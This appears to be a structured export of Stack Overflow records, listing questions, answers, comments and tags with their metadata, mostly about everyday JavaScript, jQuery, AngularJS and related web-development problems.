score: 1

http://stackoverflow.com/comment/40122524
type: Comment
score: 2
type: AnswerComment
has text: A great answer to the specific question, but I feel it's important to point out that in many cases where one would even care if data is loaded, it's because they are wasting effort and energy modifying data in the controller instead of using $extendFactory or just putting the data into $scope and letting the view take care of rendering.
comment on: http://stackoverflow.com/a/25672542

http://stackoverflow.com/comment/40193678
type: Comment
has text: I would start moving away from the index route, and start veering toward nested resources, here's a small example: http://emberjs.jsbin.com/OxIDiVU/1036/edit
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25712404

http://stackoverflow.com/comment/77562663
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25648615
has text: Unfortunately not. I have just taken it as something Safari does not fully support it so learned to accept the annoying "Unknown" file names.

http://stackoverflow.com/q/25585061
tagged with: bounding-box
type: Question
tagged with: force-layout
linked to: http://stackoverflow.com/q/9573178
tagged with: javascript
has body: I need to use the algorithm of forces with a network, but that network is divided into parts. For example, the vertices of the first part can not leave the part 1. The vertices of the part 2 need to be in part 2. If there is a connection between a vertex from part 1 and a vertex from part 2, this connection will make these two vertices be near, however, will not let their parts. This draft image illustrates the idea: I need to do this for about 8 parts. Some parts are in the other, other parts are next to each other. And the network will be represented on these parts, each vertex in their respective part, however, the algorithm forces should try to pull the connected vertices themselves.
has comment: http://stackoverflow.com/comment/39961479
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39961721
tagged with: http://stackoverflow.com/tag/svg
tagged with: d3.js
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39961774
has title: Bounds for networks and forces with D3.js?
has answer: http://stackoverflow.com/a/64937262
has comment: http://stackoverflow.com/comment/39962264
has comment: http://stackoverflow.com/comment/39962015

http://stackoverflow.com/a/25592318
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25592186
has comment: http://stackoverflow.com/comment/39976454
has comment: http://stackoverflow.com/comment/39975132
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25592186
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39976235
has body: You cannot inquire what is in an iframe after a page from a different origin has loaded, nor can you change its src due to cross origin security. Your best bet is give a name to the iframe and use window.open(URL,iframeName) thereafter. It is an idea to replace the iframe with a new one with another src. It might be blocked to load a page in an iframe - it can very likely try to bust out Here is a replace version: FIDDLE GO!!! window.onload=function() { document.getElementById("form1").onsubmit=function() { document.getElementById("iframeDiv").innerHTML=' '; return false; // cancel form submission } }
has comment: http://stackoverflow.com/comment/39976207
has comment: http://stackoverflow.com/comment/39974707
type: Answer

http://stackoverflow.com/a/25676448
has comment: http://stackoverflow.com/comment/40127549
has comment: http://stackoverflow.com/comment/40127616
type: AcceptedAnswer
has body: You want to look at websockets. A good way to do this in PHP is with a library called "Ratchet": http://socketo.me/ Unfortunately websockets don't have very good cross-browser compatibility.
has comment: http://stackoverflow.com/comment/40127580
type: Answer
accepted answer of: http://stackoverflow.com/q/25676424
answers question: http://stackoverflow.com/q/25676424
score: 0

http://stackoverflow.com/q/25610210
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/25626423
tagged with: asp.net-ajax
tagged with: javascript
linked to: http://stackoverflow.com/q/16642919
favorite count: 0
has answer: http://stackoverflow.com/a/25610442
has comment: http://stackoverflow.com/comment/40007452
has answer: http://stackoverflow.com/a/25626423
tagged with: css
answer count: 4
has answer: http://stackoverflow.com/a/25611199
has comment: http://stackoverflow.com/comment/40007412
upvote count: 1
has comment: http://stackoverflow.com/comment/40007554
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40007310
has answer: http://stackoverflow.com/a/25610970
possible better answer: http://stackoverflow.com/a/25610442
score: 1
has comment: http://stackoverflow.com/comment/40007518
has body: I am disabling the div containing textbox and button controls. While textboxes are getting disabled, buttons are not getting disabled. Below is the javascript code to disable that I am calling on page load document.getElementById("MainContent_TabContainer1").disabled = true; TabContainer is basically a AJAX TabContainer that rendered to div and its ID becomes MainContent_TabContainer1 Please suggest.
has title: CSS disabled property not disabling the buttons

jsonp
tags question: http://stackoverflow.com/q/25629063
tags question: http://stackoverflow.com/q/25667036
type: Tag
tags question: http://stackoverflow.com/q/25644793
tag name: jsonp

http://stackoverflow.com/comment/40098520
comment on: http://stackoverflow.com/q/25659617
score: 0
has text: @yoshi and for options text i am appending many values how i can do this using ng-options
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25642293
accepted answer of: http://stackoverflow.com/q/25642168
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25642168
has body: Inside of each loop you must take current value of the td (its innerText converted to Number) and add to sum: var sum = 0; $('.sum').each(function() { sum += Number($(this).text()); }); $('#total').text(sum); Also you should add colspan="4" to td#total to make HTML valid. Demo: http://jsfiddle.net/7f0todr1/
type: Answer

http://stackoverflow.com/comment/39992545
type: QuestionComment
comment on: http://stackoverflow.com/q/25597697
has text: Not sure where console.log is sending its output but alert(typeof supps) returns object.
score: 0
type: Comment

http://stackoverflow.com/comment/40178114
type: QuestionComment
has text: without example of code this is all a guess as to what might be happening
score: 0
comment on: http://stackoverflow.com/q/25703914
type: Comment

http://stackoverflow.com/a/25620041
answers question: http://stackoverflow.com/q/25619483
score: 2
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/40026500
has comment: http://stackoverflow.com/comment/40025215
has comment: http://stackoverflow.com/comment/40025993
type: Answer
has body: Well, per definition, a RESTful API shall contain the full URI - a Resource Identifier, and not only the resource's path. Thus your question is more a question on how you're designing your whole API. So, for example, your API could contain a http://fqdn/api/posts that contains a list of all the posts within your site, e.g.: [ "http://fqdn/api/posts/1", "http://fqdn/api/posts/2", "http://fqdn/api/posts/3" ] and then your javascript only iterates over the values within the list, never needing to craft the path for each resource. You only need to have one known entry point. This is the HATEOAS concept, that uses hyperlinks as API to identifies states of an application. All in all, it's a good idea to thoroughly think your application (you can use UML tools like the state machine or sequence diagrams..) so that you can cover all your use cases with a simple yet efficient set of sequences defining your API. Then for each sequence, it's a good idea to have a single first state, and you can have a single first step linking to all the sequences. Resources: ACM Article Restful API Design Second Edition Slides Restful API design blog
has comment: http://stackoverflow.com/comment/40025935
has comment: http://stackoverflow.com/comment/40062682

http://stackoverflow.com/q/25677234
favorite count: 0
has body: I found a pong game online and wanted to change it around a bit. I want to put a dashed line in the middle of the screen. if I take out the dashed line the game works. It will work in Chrome but locks up on the Firefox OS simulator. ****Question: Why would this be the case?"**** Code: function drawDashedLine() { ctx.beginPath(); ctx.fillStyle = '#eee'; ctx.setLineDash([1,2]); ctx.moveTo(0,H/2); ctx.lineTo(320,H/2); ctx.closePath(); ctx.stroke(); } HTML: Firefox OS
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40129011
has title: Why does the drawDashedLine function mess up my game?
answer count: 0
has comment: http://stackoverflow.com/comment/40128978
score: 1
upvote count: 1
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40158034
downvote count: 0

http://stackoverflow.com/a/25569428
downvote count: 0
has comment: http://stackoverflow.com/comment/39932152
upvote count: 2
type: Answer
has body: Try this : Instead of attr use prop $(".idRow").change(function(){ if($(this).prop("checked")){ update_amounts_modal(); } else{ update_amounts_modal(); } });
score: 2
answers question: http://stackoverflow.com/q/25569295
has comment: http://stackoverflow.com/comment/39932207

http://stackoverflow.com/comment/39972213
comment on: http://stackoverflow.com/a/25590167
type: Comment
has text: I will go for the selector solution instead I think. Thanks.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25576534
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25564617
answers question: http://stackoverflow.com/q/25564617
type: Answer
has comment: http://stackoverflow.com/comment/39984756
has comment: http://stackoverflow.com/comment/40007480
score: 0
has body: You should take the for loop out of the constructor map for the line. You cannot put a for loop into a map, nonetheless pass it through the constructor. Try this: for (var i = 0; i &lt;= verticalPieces; i++) { var x = pieceWidth * i; var verticalLine = new Kinetic.Line({ points: [50, x, 1145, x], stroke: 'red', strokeWidth: 2, lineJoin: 'round', /* * line segments with a length of 33px * with a gap of 10px */ dash: [33, 10] }); layer.add(verticalLine); }

http://stackoverflow.com/comment/39928056
has text: @AndréDion you are confusing php and js syntax, the php would be `array_push($users, $user);` or `$users[]=$user;`
type: Comment
comment on: http://stackoverflow.com/q/25567346
type: QuestionComment
score: 0

http://stackoverflow.com/a/25607895
has comment: http://stackoverflow.com/comment/40003509
has comment: http://stackoverflow.com/comment/40025755
answers question: http://stackoverflow.com/q/25607798
has comment: http://stackoverflow.com/comment/40003483
score: 0
has body: Use modulus operand to limit the inner array's size var limit = 80 var inner_limit = 20 var square=[] var inner =[] for(var i=1;i&lt;=limit;i++){ inner.push(i) if(i%inner_limit==0){ square.push(inner) inner = [] } }
type: Answer
has comment: http://stackoverflow.com/comment/40026780
has comment: http://stackoverflow.com/comment/40003416
has comment: http://stackoverflow.com/comment/40026713

http://stackoverflow.com/a/25561811
has body: in DataTable library you can't use any attribute rowspan or colspan in your html tag and make sure that your number of column between table heading and table body is match, ex: Heading 1 Heading 2 Heading 3 Heading 4 Content Content Content Content Content Content Content Content Content Content Content Content Content Content Content Content
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25561693

http://stackoverflow.com/comment/40191729
type: Comment
comment on: http://stackoverflow.com/q/25711462
score: 0
type: QuestionComment
has text: I don't see how `….bind(this)` is not readable. It won't get any shorter (OK, a global function `bind(this,…)` would save one char). What's wrong?

http://stackoverflow.com/comment/40006718
has text: Also, I updated the plunker: http://plnkr.co/edit/nr666Xw9NmmcrizMPcaJ?p=preview *(there was missing "return" inside of `Posts.find()` service)* Does it help? is is more clear what is happening behind?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25593458

http://stackoverflow.com/comment/39914684
comment on: http://stackoverflow.com/q/25560021
score: 0
has text: If your js files are too large to transfer, you're doing something seriously wrong.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25636367
type: Answer
score: 0
has body: Sounds like selected elements () are not reaching a drop-zone. Can you confirm mouse position vs clones must intersect the target? Alternatively, set an active class on the clicked items and go fetch them in the drop-zone success function.
answers question: http://stackoverflow.com/q/25636056

http://stackoverflow.com/comment/40011403
has text: if you see the actual title is not getting printed. {{single.title}} part is printing nothing. Only the hard coded value "Test:" is getting added for each line.
score: 0
comment on: http://stackoverflow.com/q/25612528
type: Comment
type: QuestionComment

currency
tag name: currency
type: Tag
tags question: http://stackoverflow.com/q/25711443
tags question: http://stackoverflow.com/q/25694109

http://stackoverflow.com/comment/40082170
type: Comment
has text: @MattBurland: `a(i)` doesn't return a function, but a promise. It will execute them in parallel, and not wait for anything…
comment on: http://stackoverflow.com/a/25651250
score: 1
type: AnswerComment

http://stackoverflow.com/a/25701005
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40172866
accepted answer of: http://stackoverflow.com/q/25700929
answers question: http://stackoverflow.com/q/25700929
type: AcceptedAnswer
downvote count: 0
has body: To do this in jQuery, change: &lt;input type='text' name='qty' id='qty' value='".$sum[0]."' disabled&gt; To: &lt;input type='text' name='qty' class='qty' value='".$sum[0]."' disabled&gt; And add the following code: $('#edit').click(function() { if ($(this).prop('checked')) { $('.qty').prop('disabled', false); } else { $('.qty').prop('disabled', true); } }); Note: DOM object IDs should be unique. No two elements should have the same ID. You can assign the same class to multiple elements and identify them in javascript that way. Also, if these input elements are form elements you plan to process server side, you will need to name them differently or only the last value assigned will be available.
type: Answer

http://stackoverflow.com/comment/40172036
has text: Can you post some code to help us see what you are trying to do? Can you be more specific with your question? Thanks
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25700862
score: 0

http://stackoverflow.com/a/59942604
score: 0
has body: The only sort of qualifications I have for this is having taken a single statistics class. If I get something wrong, please tell me, I'd like to learn more about statistics and I don't want to keep thinking something wrong. If you want to create a random number generator that produces numbers in a normal distribution, you should be able to take samples from a uniform distribution, which is no problem. If you set up a basic random number generator that generates numbers in range a to b, the distribution of values produced will have µ = (a+b)/2 and σ = (b-a)/√12. If the mean of a a few sample of values (≥30) taken from this distribution is taken for many such samples, then for the sampling distribution µ (sample means) = µ (population mean) and σ (sample means' stdev) = σ (population stdev)/√n (number of values in the sample). By controlling the mean and stdev of the original distribution, you can control the ending mean and standard deviation of a random number generator that produces a normal distribution. function all_normal(mu, sigma, nsamp) { var total = 0; for (var a = 0; a &lt; nsamp; a ++) { total += rand_int(mu - (sigma * Math.sqrt(3 * nsamp)), mu + (sigma * Math.sqrt(3 * nsamp))); } return Math.ceil(total / nsamp); }
answers question: http://stackoverflow.com/q/25582882
type: Answer

http://stackoverflow.com/comment/40040873
type: Comment
comment on: http://stackoverflow.com/a/25627898
has text: @cereallarceny, Oh one more thing I just thought of `dot: true`. I'll add it to my answer.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25679768
has comment: http://stackoverflow.com/comment/40184573
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40133572
score: 0
has comment: http://stackoverflow.com/comment/40166079
has comment: http://stackoverflow.com/comment/40134705
type: Answer
answers question: http://stackoverflow.com/q/25679371
has comment: http://stackoverflow.com/comment/40134737
accepted answer of: http://stackoverflow.com/q/25679371
has comment: http://stackoverflow.com/comment/40240281
has comment: http://stackoverflow.com/comment/40165846
has comment: http://stackoverflow.com/comment/40166253
has comment: http://stackoverflow.com/comment/40166142
has body: $(function(){ var $list = $('#list').children(); var index = 0; function down(){ if(index == $list.length - 1) index = 0; else index++; move(); }; function up(){ if(index == 0) index = $list.length - 1; else index--; move(); }; function enter(){ var val = $($list[index]).html(); $('input').val(val); }; function move() { $list.removeClass('highlight'); $($list[index]).addClass('highlight'); }; // highlights first element move(); $('input').on('keydown', function(e){ switch(e.keyCode) { case 13: enter(); break; case 40: down(); break; case 38: up(); break; } }); }); JSFiddle - http://jsfiddle.net/tt0nnzvm/4/ EDIT: Updated the fiddle and code
has comment: http://stackoverflow.com/comment/40134426

http://stackoverflow.com/comment/40090432
score: 0
has text: @Pointy Right, but shouldn't setting .html() and then reading .html() give the same thing? Is there any way to log that without spamming my console 100 times?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25655658

http://stackoverflow.com/comment/40096264
type: Comment
type: QuestionComment
has text: Is this what you are talking about?? Access-Control-Allow-Origin: * ??? var xhr = createCORSRequest('GET', url); xhr.setRequestHeader( 'Access-Control-Allow-Origin', '*'); xhr.send(); Reference: http://www.html5rocks.com/en/tutorials/cors/ @balexandre
comment on: http://stackoverflow.com/q/25658940
score: 3

http://stackoverflow.com/a/25693654
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40203482
score: 4
has comment: http://stackoverflow.com/comment/40159793
has comment: http://stackoverflow.com/comment/40160813
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/40160043
has body: Don't set the x and y yourself, let the physics handle it, by giving body, the according velocity. function moveSnake() { snake.body.velocity.x = 0; snake.body.velocity.y = 0; switch(direction) { case 'up': snake.body.velocity.y = -2; break; case 'down': snake.body.velocity.y = 2; break; case 'left': snake.body.velocity.x = -2; break; case 'right': snake.body.velocity.x = 2; break; } } Also you can ask your questions on Phaser forums.
has comment: http://stackoverflow.com/comment/40160213
downvote count: 0
has comment: http://stackoverflow.com/comment/40177196
accepted answer of: http://stackoverflow.com/q/25693257
answers question: http://stackoverflow.com/q/25693257

http://stackoverflow.com/a/25637743
has body: You can attach a listener to the rectangle as you do for the map . google.maps.event.addListener(rectangle, 'click', function(event) { alert('latitude: ' + event.latLng.lat() + ' , longitude: ' + event.latLng.lng()); }); Example here http://jsfiddle.net/0c9rnyf8/5/
accepted answer of: http://stackoverflow.com/q/25637638
has comment: http://stackoverflow.com/comment/40057545
answers question: http://stackoverflow.com/q/25637638
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40057944
has comment: http://stackoverflow.com/comment/40058115
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40058025

http://stackoverflow.com/comment/40153477
comment on: http://stackoverflow.com/q/25688786
type: Comment
type: QuestionComment
has text: @Teemu check out my answer and the updated fiddle... http://jsfiddle.net/x3L4nvk3/1/
score: 1

http://stackoverflow.com/q/25587485
has body: Sometimes you may wish to call other tasks from a main task. Asume we have build and a dist tasks. By passing the option --build to the dist task, the build task should run before. Unfortunately, the build task repeats in an endless loop ? grunt dist --build Example (short and simplified): // command: grunt build grunt.registerTask('build', 'Dist task', function() { grunt.initConfig({...}); // cssmin, htmlmin tasks etc... grunt.task.run(tasksArray); }); // command: grunt dist grunt.registerTask('dist', 'Build task', function() { // Option: --build var buildOption = grunt.option('build'); if (buildOption != null) { grunt.task.run('build'); // Run the build task first } grunt.initConfig({...}); // compress task etc... grunt.task.run(tasksArray); }); How can I prevent the endless repeat of the build task? Note: Of course I may use something like: grunt build &amp;&amp; grunt dist, but the example above is (as mentioned) a simplified example for something bigger.
answer count: 0
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
tagged with: javascript
tagged with: gruntjs
downvote count: 0
has comment: http://stackoverflow.com/comment/39977992
favorite count: 0
tagged with: npm
has title: grunt call other tasks from the main task
tagged with: node.js

http://stackoverflow.com/a/25656762
answers question: http://stackoverflow.com/q/25656743
has body: Try something like, $('#slick-track').append($('#instafeed').children());
downvote count: 0
type: Answer
score: 1
upvote count: 1

session
tags question: http://stackoverflow.com/q/25686994
tags question: http://stackoverflow.com/q/25561036
tags question: http://stackoverflow.com/q/25681742
tags question: http://stackoverflow.com/q/25577069
tags question: http://stackoverflow.com/q/25575080
type: Tag
tags question: http://stackoverflow.com/q/25700728
tags question: http://stackoverflow.com/q/25580260
tag name: session

http://stackoverflow.com/comment/40000971
comment on: http://stackoverflow.com/a/25600792
type: Comment
has text: ya i knew to set the setComponentRestrictions to get biased result. but anyway to get the country code from a text address? example: Geneva International Airport, Grand-Saconnex, Switzerland thanks
score: 0
type: AnswerComment

http://stackoverflow.com/a/25574911
type: Answer
accepted answer of: http://stackoverflow.com/q/25556170
answers question: http://stackoverflow.com/q/25556170
upvote count: 1
has comment: http://stackoverflow.com/comment/70613895
type: AcceptedAnswer
downvote count: 0
score: 1
has body: Turns out this was related to: Response.AddHeader("Accept-Ranges", "bytes"); The seek function must rely on that to seek forward and back.
has comment: http://stackoverflow.com/comment/70685038

http://stackoverflow.com/comment/49936689
has text: it should be like **var fromNowFilter = $filter('fromNow');** not *var fromNowFilter = $filter('fromNowFilter ');* we don't want to concatenate *filter*
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25560259
type: AnswerComment

http://stackoverflow.com/comment/39927693
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25567180
has text: @JaapVermoolen: And the `log` calls? `parseInt`/`parseFloat` never return `undefined`.
score: 0

http://stackoverflow.com/a/25570830
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/39936100
has body: Your service is not aware of your $scope out of the box, nor do you probably want it to be as the whole point of services is to assist with the modularity of your code. What you probably want to do is actually return the $http promise from your service so that your .success() callback can actually set models on the $scope via closure (being inside the controller). So your factory would be more like this: .factory("getDefaults", function() { return { instructions: $http({ method: "GET", url: "/getStringDropdown/materials" }) } }); If you really think you'll never need those http calls separately and you only care about when they all resolve. You could return a $q.all() promise that will resolve when they all resolve: .factory("getDefaults", function($http, $q) { var promise1 = $http({ method: "GET", url: "/getStringDropdown/materials" }); var promise2 = $http({ method: "GET", url: "/getStringDropdown/materials" }); var promise3 = $http({ method: "GET", url: "/getStringDropdown/materials" }); return { data: $q.all([promise1,promise2,promise3]), anotherCall: $http.get('/anothercallUrl') } }); So now from your controller you could just do: function myCtrl($scope,getDefaults){ getDefaults.data.then(function(data){ //access all three of your promises, their data, and set $scope models here getDefaults.anotherCall.success(function(data){ //or another http call }); }; } $q.all documentation here: https://docs.angularjs.org/api/ng/service/$q
accepted answer of: http://stackoverflow.com/q/25570618
score: 3
has comment: http://stackoverflow.com/comment/39935911
answers question: http://stackoverflow.com/q/25570618
has comment: http://stackoverflow.com/comment/39935966
has comment: http://stackoverflow.com/comment/39936059

http://stackoverflow.com/q/25555770
has body: Here is the code: adjust_geo = function(callback){Plasma.Hose('edge-to-sluice').Deposit({ "descrips": [ "sluice", "prot-spec v1.0", "request", "zoom" ], "ingests": { "lat": stickie.latitude, "lon": stickie.longitude, "level": stickie.zoom_level } }); Plasma.Hose('edge-to-sluice').Deposit({ "descrips": [ "sluice", "prot-spec v1.0", "request", "set-time" ], "ingests": { "time": stickie.start, "rate": 2.0, "pause": false } }); callback(); } var remove_stickies = function(callback){ Plasma.Hose('edge-to-sluice').Deposit({ descrips: ['sluice', 'prot-spec v1.0', 'request', 'remove-all-fluoro'], ingests : {} }); callback(); } deposit_fluoros = function(){ console.log(stickie.fluoroscopes); L = JSON.parse(stickie.fluoroscopes); console.log(L); for (var i = 1; i&lt;L.length;i++){ console.log(L[i]); Plasma.Hose('tcp://localhost/edge-to-sluice') .Deposit({ "descrips": [ "sluice", "prot-spec v1.0", "request", "new-fluoro-instance"], "ingests":L[i] }); }; } } adjust_geo(remove_stickies(deposit_fluoros())); as you can see on the last line, I am attempting to execute the three asnychronous functions in order. However right now it is complaining that callback() on line 34 is undefined. TypeError: undefined is not a function. Its strange because it doesn't seem to care about the one in adjust_geo?
has comment: http://stackoverflow.com/comment/39915078
has answer: http://stackoverflow.com/a/25555992
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39911776
has comment: http://stackoverflow.com/comment/39908697
has answer: http://stackoverflow.com/a/25555938
has comment: http://stackoverflow.com/comment/39911668
has comment: http://stackoverflow.com/comment/39914033
has comment: http://stackoverflow.com/comment/39906418
has comment: http://stackoverflow.com/comment/39906543
type: Question
has title: how can I execute 3 asynchronous functions in order?
has answer: http://stackoverflow.com/a/25556390
score: 0
has comment: http://stackoverflow.com/comment/39912958
answer count: 3

http://stackoverflow.com/comment/40186044
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25708423
has text: You wrote this `slug` plugin and yet you can't figure out how to add the `'#lname'` element? Fishy..

http://stackoverflow.com/q/25580586
has comment: http://stackoverflow.com/comment/39953341
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/39953365
accepted answer: http://stackoverflow.com/a/25580954
has comment: http://stackoverflow.com/comment/39953658
has comment: http://stackoverflow.com/comment/39953377
tagged with: timer
has comment: http://stackoverflow.com/comment/39953327
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39953351
has comment: http://stackoverflow.com/comment/39953440
has answer: http://stackoverflow.com/a/25580954
type: Question
has title: type out timer in Javascript
possible better answer: http://stackoverflow.com/a/25580859
has answer: http://stackoverflow.com/a/25580849
tagged with: javascript
has body: Hi I have created the below time out function that runs either 2 seconds after the person has finished typing or on pressing enter. It works as described but for some reason i get the function repeating. For instance if i type 5 letter and wait 5 2 seconds i get 5 alerts after two seconds. I want just to receive 1 alert. What do i need to change? function doSearch() { //run js function half a second after typing has stopped var typingTimer; //timer identifier var doneTypingInterval = 2000; $(document).keypress(function(e){ $('#txtSearch').keypress(function(e){ if(e.keyCode == 13) { clearTimeout(typingTimer); alert("pressesd"); } }); //on keyup, start the countdown $('#txtSearch').keyup(function(){ clearTimeout(typingTimer); typingTimer = setTimeout(doneTyping, doneTypingInterval); }); //user is "finished typing," do somethin function doneTyping() { alert("done"); clearTimeout(typingTimer); } } Thank s in advance
tagged with: jquery
has answer: http://stackoverflow.com/a/25580859

http://stackoverflow.com/q/25585385
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/39963949
has body: I am writing a simple viewer for time series data using HighCharts. One problem that can happen is that the values can stop coming in for a period, then resume. On my system those values do eventually make it into the database, I do not lose them, they are just delayed. What I want on my UI is for it to scroll normally once per second as data is coming in (this if working fine). If data stops, the UI should pause scrolling (this is also working). If data availability resumes some time later, then I'd like the chart to do a "gap fill", i.e. populate the parts that it missed during the unavailable period. That's what I'm trying to fix now. I issue a synchronous $.ajax call to get the missing data, but the data returned is the HTML of the page itself, not JSON. I've tested the server side call and it is returning JSON fine when called from a directly from a browser. So can anyone see what is going wrong in my "gap fill" plotting? See comment "data2 here is HTML not JSON for some reason" in the code below for where it's going wrong. Thank you, Virgil
favorite count: 0
has comment: http://stackoverflow.com/comment/39962859
has answer: http://stackoverflow.com/a/25587652
type: UnansweredQuestion
score: 1
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
type: Question
has title: jQuery ajax call inside ajax response returning HTML rather than JSON
has comment: http://stackoverflow.com/comment/39963009
tagged with: highcharts
tagged with: javascript
tagged with: jquery
tagged with: ajax

http://stackoverflow.com/comment/39896807
comment on: http://stackoverflow.com/q/25550851
score: 0
type: Comment
type: QuestionComment
has text: save ur images on the application server..and store its server path in db

http://stackoverflow.com/a/25679514
has comment: http://stackoverflow.com/comment/40185189
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25679473
has comment: http://stackoverflow.com/comment/40133171
has comment: http://stackoverflow.com/comment/40153204
has comment: http://stackoverflow.com/comment/40133270
type: Answer
accepted answer of: http://stackoverflow.com/q/25679473
upvote count: 2
has body: In plain JavaScript, that information is not accessible. So, your options: Some frameworks like you track event listeners provided you used their syntax to bind them (like jQuery). Some libraries will "rewrite" how event tracking works (like VisualEvent) Lastly, you can write your own wrapper around the add/removeEventListener functions, so that it tracks that information in addition to calling the native add/removeEventListener functions. Making sure it wraps all the possible ones, though, can be a challenge.
has comment: http://stackoverflow.com/comment/40163544
score: 2
has comment: http://stackoverflow.com/comment/40173200
has comment: http://stackoverflow.com/comment/40182296
has comment: http://stackoverflow.com/comment/40157612
has comment: http://stackoverflow.com/comment/40177888

http://stackoverflow.com/q/25652001
has comment: http://stackoverflow.com/comment/40084065
upvote count: 1
answer count: 1
downvote count: 0
has title: drupal 7 page defined by hook_menu not found
favorite count: 0
has comment: http://stackoverflow.com/comment/40083250
has answer: http://stackoverflow.com/a/25653559
accepted answer: http://stackoverflow.com/a/25653559
has comment: http://stackoverflow.com/comment/40084859
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40083740
tagged with: drupal-modules
score: 1
has body: I have tried everything I have found on the internet to no avail. The module provides external authentication handled by an iframe. When the authentication completes, a message is sent to the socket on the drupal page with success or failed status. In the event of success, the module needs to communicate again with the external server to get the userid on drupal to complete the login. Two things: (1) The drupal must have no knowledge of the external credentials, and (2) the username/password on the external authenticator are independent of the drupal username/password. The name of the module is 'yauisauth'. Given that, I have the following in hook_menu: function yauisauth_menu() { $items['yauisauth/callback/%'] = array( 'title' =&gt; 'yauis login completion', 'description' =&gt; 'coordinates yauis login with drupal login', 'access callback' =&gt; user_is_anonymous, 'file' =&gt; 'yauisauth.inc', 'page callback' =&gt; 'yauisauth_callback', 'page arguments' =&gt; array(2), 'type' =&gt; MENU_CALLBACK, ); $items['yauisauth/failed'] = array( 'title' =&gt; 'login failed', 'description' =&gt; 'login failed', 'access callback' =&gt; user_is_anonymous, 'file' =&gt; 'yauisauth.inc', 'page callback' =&gt; 'yauis_login_failed', 'type' =&gt; MENU_CALLBACK, ); return $items; } The callback is invoked from the javascript: return_to = 'yauisauth/callback/'; return_to += transid; jQuery.post(return_to, null, null); The error I get is: POST http://localhost/drupal7/yauisauth/callback/4ddcd4ab-5167-4aa5-bafa-ee46812237d8 404 (Not Found) Obvious, I am not constructing the url in a way that drupal wants to see it but I don't know what to do. Originally, I had all the functions in yauisauth.module but then split the callback functions and the ones it calls into yauisauth.inc Between each change, I do the following: (in mysql): UPDATE system SET status='0' WHERE name='yauisauth'; DELETE FROM cache_bootstrap WHERE cid='system_list'; then in bash: drush -cc menu drush -cc all (Blindly follow…
type: Question
tagged with: drupal-7
tagged with: javascript

http://stackoverflow.com/q/25642667
accepted answer: http://stackoverflow.com/a/25644249
has title: Enter key form submission fails with HTML5 date input
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25644249
downvote count: 0
has comment: http://stackoverflow.com/comment/40067046
has comment: http://stackoverflow.com/comment/40068203
has comment: http://stackoverflow.com/comment/40066255
has comment: http://stackoverflow.com/comment/40067381
tagged with: forms
has comment: http://stackoverflow.com/comment/40067232
type: Question
has comment: http://stackoverflow.com/comment/40068591
has body: I have a small HTML form (code below) that is effectively in two parts, and I want users to be able to submit the form by pressing the enter key in only one of these parts ("input" in the code below; the display attributes are toggled by a bit of javascript connected to the selection in the second part of the form). At the moment, I am handling this with a bit of jQuery/javascript (also below) to bind the enter key press to form submission. HTML: option 1 option 2 And the jQuery/javascript: $(function(){ $("#input").on("click", function(e){ if(e.which == 13){ $("#form").submit(); } }); }); When the text input is displayed, this works just fine. When the date inputs are displayed, however, the enter key does nothing. This is the case whether the browser displays the native calendar widget, or if the inputs are replaced by jQueryUI datepicker widgets in browsers that don't support the date input type (handled by another bit of jQuery/javascript). Any idea why this is happening? I'm aware that I could get around it by adding a hidden submit button and overriding the enter key behaviour for the second part of the form, but I would like to understand what's going on first.
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40067282
upvote count: 2
has comment: http://stackoverflow.com/comment/40068639
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40068872
has comment: http://stackoverflow.com/comment/40067761

http://stackoverflow.com/q/25633045
score: 0
has title: index of array is defaulting to last iteration
answer count: 1
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40049781
has comment: http://stackoverflow.com/comment/40051052
type: Question
has answer: http://stackoverflow.com/a/25634083
accepted answer: http://stackoverflow.com/a/25634083
